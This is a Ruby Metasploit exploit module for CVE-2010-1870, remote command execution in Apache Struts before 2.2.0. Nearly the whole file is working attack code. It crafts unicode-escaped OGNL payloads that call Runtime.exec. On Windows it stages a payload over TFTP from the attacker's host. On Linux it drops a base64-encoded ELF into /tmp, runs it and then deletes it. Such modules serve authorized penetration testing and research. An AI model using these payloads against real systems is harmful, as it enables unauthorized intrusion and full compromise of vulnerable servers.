##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts Remote Command Execution',
      'Description'    => %q{
          This module exploits a remote command execution vulnerability in
        Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
        handle unicode characters in OGNL extensive expressions passed to the web server.

          By sending a specially crafted request to the Struts application it is possible to
        bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
        Bypassing this restriction allows for the execution of arbitrary Java code.
      },
      'Author'         =>
        [
          'bannedit', # metasploit module
          'Meder Kydyraliev', # original public exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-1870'],
          [ 'OSVDB', '66280'],
          [ 'EDB', '14360' ],
        ],
      'Platform'      => %w{ linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
                'Arch' => ARCH_X86,
                'Platform' => 'win',
                'CmdStagerFlavor' => 'tftp'
            }
          ],
          ['Linux Universal',
            {
                'Arch' => ARCH_X86,
                'Platform' => 'linux'
            }
          ],
        ],
      'DisclosureDate' => '2010-07-13',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]),
        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
      ])

    self.needs_cleanup = true
  end

  def execute_command(cmd, opts = {})
    uri =   normalize_uri(datastore['URI'])
    uri =   Rex::Text::uri_encode(uri)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(2)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    var_e = rand_text_alpha_lower(4)

    uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
    uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
    uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
    uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
    uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

    vprint_status("Attempting to execute: #{cmd}")

    resp = send_request_raw({
      'uri'     => uri,
      'version' => '1.1',
      'method'  => 'GET',
    }, 5)
  end

  def windows_stager
    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
    tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
    execute_cmdstager({ temp: '.', tftphost: tftphost })
    @payload_exe = generate_payload_exe

    print_status("Attempting to execute the payload...")
    execute_command(@payload_exe)
  end

  def linux_stager
    cmds = "/bin/sh@-c@echo LINE | tee FILE"
    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
    base64 = Rex::Text.encode_base64(exe)
    base64.gsub!(/\=/, "\\u003d")
    file = rand_text_alphanumeric(4+rand(4))

    execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
    cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
    base64.each_line do |line|
      line.chomp!
      cmd = cmds
      cmd.gsub!(/LINE/, line)
      execute_command(cmds)
    end

    execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
    execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
    execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

    execute_command("/bin/sh@-c@/tmp/#{file}")
    @payload_exe = "/tmp/" + file
  end

  def on_new_session(client)
    if target['Platform'] == 'linux'
      print_warning("Deleting #{@payload_exe} payload file")
      execute_command("/bin/sh@-c@rm #{@payload_exe}")
    else
      print_status("Windows does not allow running executables to be deleted")
      print_status("Delete the #{@payload_exe} file manually after migrating")
    end
  end

  def exploit
    unless datastore['CMD'].blank?
      print_status("Executing user supplied command")
      execute_command(datastore['CMD'])
      return
    end

    case target['Platform']
      when 'linux'
        linux_stager
      when 'win'
        windows_stager
      else
        fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    handler
  end
end
